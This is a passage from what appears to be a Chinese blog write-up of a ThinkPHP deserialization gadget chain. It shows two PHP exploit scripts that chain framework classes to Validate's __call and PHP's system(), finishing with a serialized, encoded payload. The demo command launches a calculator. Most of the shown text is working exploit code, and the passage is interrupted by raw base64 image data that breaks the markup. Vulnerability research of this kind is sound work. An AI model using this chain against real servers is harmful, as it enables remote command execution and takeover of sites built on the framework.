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
|
|||
|
|
<p>$this->relation可控,key也可控但不为null,可以在第二个return中返回我们想要的值</p>
|
|||
|
|
<p>那就根据上述要求构造下一步exp,其中有一个点是刚才提到的$val不能是字符串,我首先想到的是用数组代替,根据一些相关要求有如下exp</p>
|
|||
|
|
<div class=highlight><pre><span></span><span class=o><?</span><span class=n>php</span>
|
|||
|
|
<span class=n>namespace</span> <span class=n>think</span><span class=err>\</span><span class=n>route</span><span class=o>{</span>
|
|||
|
|
<span class=kd>class</span> <span class=nc>ResourceRegister</span><span class=o>{</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>$resource</span><span class=o>;</span>
|
|||
|
|
|
|||
|
|
<span class=kd>public</span> <span class=n>function</span> <span class=nf>__construct</span><span class=o>(</span><span class=n>$resource</span><span class=o>)</span> <span class=o>{</span>
|
|||
|
|
<span class=n>$this</span><span class=o>-></span><span class=n>resource</span> <span class=o>=</span> <span class=n>$resource</span><span class=o>;</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=kd>class</span> <span class=nc>RuleGroup</span> <span class=kd>extends</span> <span class=n>Rule</span><span class=o>{</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>function</span> <span class=nf>__construct</span><span class=o>(</span><span class=n>$rule</span><span class=o>,</span> <span class=n>$router</span><span class=o>,</span> <span class=n>$option</span><span class=o>){</span>
|
|||
|
|
<span class=n>parent</span><span class=o>::</span><span class=n>__construct</span><span class=o>(</span><span class=n>$rule</span><span class=o>,</span> <span class=n>$router</span><span class=o>,</span> <span class=n>$option</span><span class=o>);</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=kd>class</span> <span class=nc>Resource</span> <span class=kd>extends</span> <span class=n>RuleGroup</span><span class=o>{</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>function</span> <span class=nf>__construct</span><span class=o>(</span><span class=n>$rule</span><span class=o>,</span> <span class=n>$router</span><span class=o>,</span> <span class=n>$option</span><span class=o>){</span>
|
|||
|
|
<span class=n>parent</span><span class=o>::</span><span class=n>__construct</span><span class=o>(</span><span class=n>$rule</span><span class=o>,</span> <span class=n>$router</span><span class=o>,</span> <span class=n>$option</span><span class=o>);</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=kd>abstract</span> <span class=kd>class</span> <span class=nc>Rule</span><span class=o>{</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>$rest</span> <span class=o>=</span> <span class=o>[</span><span class=err>'</span><span class=n>key</span><span class=err>'</span> <span class=o>=></span> <span class=o>[</span><span class=mi>1</span> <span class=o>=></span> <span class=err>'</span><span class=o><</span><span class=n>id</span><span class=o>></span><span class=err>'</span><span class=o>]];</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>$name</span> <span class=o>=</span> <span class=s>"name"</span><span class=o>;</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>$rule</span><span class=o>;</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>$router</span><span class=o>;</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>$option</span><span class=o>;</span>
|
|||
|
|
|
|||
|
|
<span class=kd>public</span> <span class=n>function</span> <span class=nf>__construct</span><span class=o>(</span><span class=n>$rule</span><span class=o>,</span> <span class=n>$router</span><span class=o>,</span> <span class=n>$option</span><span class=o>){</span>
|
|||
|
|
<span class=n>$this</span><span class=o>-></span><span class=n>rule</span> <span class=o>=</span> <span class=n>$rule</span><span class=o>;</span>
|
|||
|
|
<span class=n>$this</span><span class=o>-></span><span class=n>router</span> <span class=o>=</span> <span class=n>$router</span><span class=o>;</span>
|
|||
|
|
<span class=n>$this</span><span class=o>-></span><span class=n>option</span> <span class=o>=</span> <span class=o>[</span><span class=err>'</span><span class=n>var</span><span class=err>'</span> <span class=o>=></span> <span class=o>[</span><span class=err>'</span><span class=n>nivia</span><span class=err>'</span> <span class=o>=></span> <span class=n>$option</span><span class=o>]];</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=n>namespace</span> <span class=n>think</span> <span class=o>{</span>
|
|||
|
|
<span class=kd>class</span> <span class=nc>Route</span><span class=o>{}</span>
|
|||
|
|
<span class=kd>abstract</span> <span class=kd>class</span> <span class=nc>Model</span><span class=o>{</span>
|
|||
|
|
<span class=kd>private</span> <span class=n>$relation</span><span class=o>;</span>
|
|||
|
|
<span class=kd>protected</span> <span class=n>$append</span> <span class=o>=</span> <span class=o>[</span><span class=err>'</span><span class=n>Nivia</span><span class=err>'</span> <span class=o>=></span> <span class=s>"1.2"</span><span class=o>];</span>
|
|||
|
|
|
|||
|
|
<span class=kd>protected</span> <span class=n>$visible</span><span class=o>;</span>
|
|||
|
|
|
|||
|
|
<span class=kd>public</span> <span class=n>function</span> <span class=nf>__construct</span><span class=o>(</span><span class=n>$visible</span><span class=o>,</span> <span class=n>$call</span><span class=o>){</span>
|
|||
|
|
<span class=n>$this</span><span class=o>-></span><span class=n>visible</span> <span class=o>=</span> <span class=o>[</span><span class=mi>1</span> <span class=o>=></span> <span class=n>$visible</span><span class=o>];</span>
|
|||
|
|
<span class=n>$this</span><span class=o>-></span><span class=n>relation</span> <span class=o>=</span> <span class=o>[</span><span class=sc>'1'</span> <span class=o>=></span> <span class=n>$call</span><span class=o>];</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=kd>class</span> <span class=nc>Validate</span><span class=o>{}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=n>namespace</span> <span class=n>think</span><span class=err>\</span><span class=n>model</span><span class=o>{</span>
|
|||
|
|
<span class=n>use</span> <span class=n>think</span><span class=err>\</span><span class=n>Model</span><span class=o>;</span>
|
|||
|
|
<span class=kd>class</span> <span class=nc>Pivot</span> <span class=kd>extends</span> <span class=n>Model</span><span class=o>{</span>
|
|||
|
|
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=n>namespace</span> <span class=o>{</span>
|
|||
|
|
<span class=n>$call</span> <span class=o>=</span> <span class=k>new</span> <span class=n>think</span><span class=err>\</span><span class=n>Validate</span><span class=o>;</span>
|
|||
|
|
<span class=n>$option</span> <span class=o>=</span> <span class=k>new</span> <span class=n>think</span><span class=err>\</span><span class=n>model</span><span class=err>\</span><span class=n>Pivot</span><span class=o>([</span><span class=err>'</span><span class=n>ls</span><span class=err>'</span><span class=o>],</span> <span class=n>$call</span><span class=o>);</span>
|
|||
|
|
<span class=n>$router</span> <span class=o>=</span> <span class=k>new</span> <span class=n>think</span><span class=err>\</span><span class=n>Route</span><span class=o>;</span>
|
|||
|
|
<span class=n>$resource</span> <span class=o>=</span> <span class=k>new</span> <span class=n>think</span><span class=err>\</span><span class=n>route</span><span class=err>\</span><span class=n>Resource</span><span class=o>(</span><span class=s>"abc.nivia"</span><span class=o>,</span> <span class=n>$router</span> <span class=o>,</span> <span class=n>$option</span><span class=o>);</span>
|
|||
|
|
<span class=n>$resourceRegister</span> <span class=o>=</span> <span class=k>new</span> <span class=n>think</span><span class=err>\</span><span class=n>route</span><span class=err>\</span><span class=n>ResourceRegister</span><span class=o>(</span><span class=n>$resource</span><span class=o>);</span>
|
|||
|
|
<span class=n>echo</span> <span class=nf>urlencode</span><span class=o>(</span><span class=n>base64_encode</span><span class=o>(</span><span class=n>serialize</span><span class=o>(</span><span class=n>$resourceRegister</span><span class=o>)));</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
</pre></div>
|
|||
|
|
<p>最后也是成功调用到think\Validate#__call方法,方法会调用is方法</p>
|
|||
|
|
<p><a id=img17 href=https://xzfile.aliyuncs.com/media/upload/picture/20240623141144-774d95ac-3127-1.png><img src="data:image/png;base64,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
|
|||
|
|
<p>$this->type可控,$rule为调用触发__call的方法名,$value其实就是前面的$val</p>
|
|||
|
|
<p>这里会有一个问题就是这里的$value其实就是传给$this->type[$rule]的参数了,但$value前面分析过了它不能是字符串,本来想通过ReflectionFunction#invokeArgs来实现命令执行,且刚好invokeArgs接收一个数组类型的参数,但ReflectionFunction不允许被序列化和反序列化</p>
|
|||
|
|
<p>最后想到可以通过类的<strong>toString进行替换,在</strong>toString中返回我们想要的命令。</p>
|
|||
|
|
<h3 id=toc-4>最终exp</h3>
|
|||
|
|
<div class=highlight><pre><span></span><span class=o><?</span><span class=n>php</span>
|
|||
|
|
<span class=n>namespace</span> <span class=n>think</span><span class=err>\</span><span class=n>route</span><span class=o>{</span>
|
|||
|
|
<span class=kd>class</span> <span class=nc>ResourceRegister</span><span class=o>{</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>$resource</span><span class=o>;</span>
|
|||
|
|
|
|||
|
|
<span class=kd>public</span> <span class=n>function</span> <span class=nf>__construct</span><span class=o>(</span><span class=n>$resource</span><span class=o>)</span> <span class=o>{</span>
|
|||
|
|
<span class=n>$this</span><span class=o>-></span><span class=n>resource</span> <span class=o>=</span> <span class=n>$resource</span><span class=o>;</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=kd>class</span> <span class=nc>RuleGroup</span> <span class=kd>extends</span> <span class=n>Rule</span><span class=o>{</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>function</span> <span class=nf>__construct</span><span class=o>(</span><span class=n>$rule</span><span class=o>,</span> <span class=n>$router</span><span class=o>,</span> <span class=n>$option</span><span class=o>){</span>
|
|||
|
|
<span class=n>parent</span><span class=o>::</span><span class=n>__construct</span><span class=o>(</span><span class=n>$rule</span><span class=o>,</span> <span class=n>$router</span><span class=o>,</span> <span class=n>$option</span><span class=o>);</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=kd>class</span> <span class=nc>Resource</span> <span class=kd>extends</span> <span class=n>RuleGroup</span><span class=o>{</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>function</span> <span class=nf>__construct</span><span class=o>(</span><span class=n>$rule</span><span class=o>,</span> <span class=n>$router</span><span class=o>,</span> <span class=n>$option</span><span class=o>){</span>
|
|||
|
|
<span class=n>parent</span><span class=o>::</span><span class=n>__construct</span><span class=o>(</span><span class=n>$rule</span><span class=o>,</span> <span class=n>$router</span><span class=o>,</span> <span class=n>$option</span><span class=o>);</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=kd>abstract</span> <span class=kd>class</span> <span class=nc>Rule</span><span class=o>{</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>$rest</span> <span class=o>=</span> <span class=o>[</span><span class=err>'</span><span class=n>key</span><span class=err>'</span> <span class=o>=></span> <span class=o>[</span><span class=mi>1</span> <span class=o>=></span> <span class=err>'</span><span class=o><</span><span class=n>id</span><span class=o>></span><span class=err>'</span><span class=o>]];</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>$name</span> <span class=o>=</span> <span class=s>"name"</span><span class=o>;</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>$rule</span><span class=o>;</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>$router</span><span class=o>;</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>$option</span><span class=o>;</span>
|
|||
|
|
|
|||
|
|
<span class=kd>public</span> <span class=n>function</span> <span class=nf>__construct</span><span class=o>(</span><span class=n>$rule</span><span class=o>,</span> <span class=n>$router</span><span class=o>,</span> <span class=n>$option</span><span class=o>){</span>
|
|||
|
|
<span class=n>$this</span><span class=o>-></span><span class=n>rule</span> <span class=o>=</span> <span class=n>$rule</span><span class=o>;</span>
|
|||
|
|
<span class=n>$this</span><span class=o>-></span><span class=n>router</span> <span class=o>=</span> <span class=n>$router</span><span class=o>;</span>
|
|||
|
|
<span class=n>$this</span><span class=o>-></span><span class=n>option</span> <span class=o>=</span> <span class=o>[</span><span class=err>'</span><span class=n>var</span><span class=err>'</span> <span class=o>=></span> <span class=o>[</span><span class=err>'</span><span class=n>nivia</span><span class=err>'</span> <span class=o>=></span> <span class=n>$option</span><span class=o>]];</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=n>namespace</span> <span class=n>think</span> <span class=o>{</span>
|
|||
|
|
<span class=kd>class</span> <span class=nc>Route</span><span class=o>{}</span>
|
|||
|
|
<span class=kd>abstract</span> <span class=kd>class</span> <span class=nc>Model</span><span class=o>{</span>
|
|||
|
|
<span class=kd>private</span> <span class=n>$relation</span><span class=o>;</span>
|
|||
|
|
<span class=kd>protected</span> <span class=n>$append</span> <span class=o>=</span> <span class=o>[</span><span class=err>'</span><span class=n>Nivia</span><span class=err>'</span> <span class=o>=></span> <span class=s>"1.2"</span><span class=o>];</span>
|
|||
|
|
|
|||
|
|
<span class=kd>protected</span> <span class=n>$visible</span><span class=o>;</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>function</span> <span class=nf>__construct</span><span class=o>(</span><span class=n>$visible</span><span class=o>,</span> <span class=n>$call</span><span class=o>){</span>
|
|||
|
|
<span class=n>$this</span><span class=o>-></span><span class=n>visible</span> <span class=o>=</span> <span class=o>[</span><span class=mi>1</span> <span class=o>=></span> <span class=n>$visible</span><span class=o>];</span>
|
|||
|
|
<span class=n>$this</span><span class=o>-></span><span class=n>relation</span> <span class=o>=</span> <span class=o>[</span><span class=sc>'1'</span> <span class=o>=></span> <span class=n>$call</span><span class=o>];</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=kd>class</span> <span class=nc>Validate</span><span class=o>{</span>
|
|||
|
|
<span class=kd>protected</span> <span class=n>$type</span><span class=o>;</span>
|
|||
|
|
|
|||
|
|
<span class=kd>public</span> <span class=n>function</span> <span class=nf>__construct</span><span class=o>(){</span>
|
|||
|
|
<span class=n>$this</span><span class=o>-></span><span class=n>type</span> <span class=o>=</span> <span class=o>[</span><span class=err>'</span><span class=n>visible</span><span class=err>'</span> <span class=o>=></span> <span class=s>"system"</span><span class=o>];</span><span class=c1>//function</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=n>namespace</span> <span class=n>think</span><span class=err>\</span><span class=n>model</span><span class=o>{</span>
|
|||
|
|
<span class=n>use</span> <span class=n>think</span><span class=err>\</span><span class=n>Model</span><span class=o>;</span>
|
|||
|
|
<span class=kd>class</span> <span class=nc>Pivot</span> <span class=kd>extends</span> <span class=n>Model</span><span class=o>{</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>function</span> <span class=nf>__construct</span><span class=o>(</span><span class=n>$visible</span><span class=o>,</span> <span class=n>$call</span><span class=o>){</span>
|
|||
|
|
<span class=n>parent</span><span class=o>::</span><span class=n>__construct</span><span class=o>(</span><span class=n>$visible</span><span class=o>,</span> <span class=n>$call</span><span class=o>);</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=n>namespace</span> <span class=n>Symfony</span><span class=err>\</span><span class=n>Component</span><span class=err>\</span><span class=n>VarDumper</span><span class=err>\</span><span class=n>Caster</span><span class=o>{</span>
|
|||
|
|
<span class=n>use</span> <span class=n>Symfony</span><span class=err>\</span><span class=n>Component</span><span class=err>\</span><span class=n>VarDumper</span><span class=err>\</span><span class=n>Cloner</span><span class=err>\</span><span class=n>Stub</span><span class=o>;</span>
|
|||
|
|
<span class=kd>class</span> <span class=nc>ConstStub</span> <span class=kd>extends</span> <span class=n>Stub</span><span class=o>{}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=n>namespace</span> <span class=n>Symfony</span><span class=err>\</span><span class=n>Component</span><span class=err>\</span><span class=n>VarDumper</span><span class=err>\</span><span class=n>Cloner</span><span class=o>{</span>
|
|||
|
|
<span class=kd>class</span> <span class=nc>Stub</span><span class=o>{</span>
|
|||
|
|
<span class=kd>public</span> <span class=n>$value</span> <span class=o>=</span> <span class=s>"open -a Calculator"</span><span class=o>;</span> <span class=c1>//cmd</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
<span class=o>}</span>
|
|||
|
|
|
|||
|
|
<span class=n>namespace</span> <span class=o>{</span>
|
|||
|
|
<span class=n>$call</span> <span class=o>=</span> <span class=k>new</span> <span class=n>think</span><span class=err>\</span><span class=n>Validate</span><span class=o>;</span>
|
|||
|
|
